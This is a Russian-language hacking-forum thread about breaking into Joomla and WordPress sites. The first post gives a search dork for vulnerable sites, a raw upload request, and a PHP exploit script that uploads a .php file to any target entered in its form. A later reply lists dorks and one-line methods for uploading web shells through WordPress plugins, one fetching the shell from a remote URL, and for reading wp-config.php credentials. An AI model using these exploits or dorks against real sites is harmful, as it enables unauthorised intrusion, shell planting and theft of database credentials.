1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Взлом joomla на практике

Тема в разделе "Веб-Уязвимости | Эксплуатация", создана пользователем DarkKnight, 31 авг 2016.

  1. TopicStarter Overlay
    DarkKnight

    DarkKnight

    Регистрация:
    1 июн 2016
    Сообщения:
    126
    Симпатии:
    144
    Дорк: inurl:option=com_simpleimageupload
    Благодарность : CrashBandicot @DosPerl
    Пример : Please login or register to view links
    Тест машина : MsWin32

    Запрос
    Код:
    POST /index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc HTTP/1.1
     
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=---------------------------247062787817068
     
     
    -----------------------------247062787817068\r\n
    Content-Disposition: form-data; name="Filedata"; filename="L0v3.php."\r\n
    Content-Type: application/x-php\r\n
    \r\n
    0wn3d ! ;)\r\n
    -----------------------------247062787817068\r\n
    Content-Disposition: form-data; name="return-url"\r\n
    \r\n
    aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=\r\n
    -----------------------------247062787817068--\r\n

    эксплойт

    Код:
    <?php
     
    echo '<form action="#"  method="post" enctype="multipart/form-data">
    <input type="text" name="target" value="www.localhost.com" /><input type="submit" name="Pwn" value="Pwn!" />
    </form>';
     
     
    if($_POST) {
         
        $target = $_POST['target'];
     
    $file = "0wn3d ! ;)";
    $header = array("Content-Type: application/x-php",
    "Content-Disposition: form-data; name=\"Filedata\"; file=\"L0v3.php.\"");
     
    $ch = curl_init("http://".$target."/index.php?option=com_simpleimageupload&task=upload.upload&tmpl=component");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36");
    curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$file", "return-url" => "aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=",));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    $result = curl_exec($ch);
    curl_close($ch);
    print "$result";
     
    } else { die(); }
    ?>
    урл зверя 127.0.0.1/images/ваш_зверь.php
     
    • Like Like x 2
    Метки:
  2. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.273
    Лол еще не прикрыли ?)
    Краш это 0-day рок-звезда )
     
  3. TopicStarter Overlay
    DarkKnight

    DarkKnight

    Регистрация:
    1 июн 2016
    Сообщения:
    126
    Симпатии:
    144
    Ещё та барыга :ireful:
     
    • Agree Agree x 1
  4. @$$@$$in

    @$$@$$in

    Регистрация:
    27 ноя 2012
    Сообщения:
    274
    Симпатии:
    62
    Эх на Wordpress бы что то оригинальное (((( joomla мало кто юзает
     
  5. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.273
    спец для тебя
    Поехали

    1.
    Дорк: inurl:"/plugins/wp-mobile-detector/"
    Загрузка шелла через wget кажется )
    site.ru/wp-content/plugins/wp-mobile-detector/resize.php?src=[урл к шеллу]

    2.
    config через mdocs posts
    Дорк : inurl:"mdocs-posts" -site:wordpress.org site:ru
    пример
    curl Please login or register to view links
    cat wp-config.php


    3.
    Загрузка шелла
    Дорк: Index of /wp-content/plugins/ultimate-product-catalogue/
    Подробнее Please login or register to view links

    4.
    Шелл удлоад
    Подробнее Please login or register to view links
     
    • Like Like x 4

Поделиться этой страницей

Загрузка...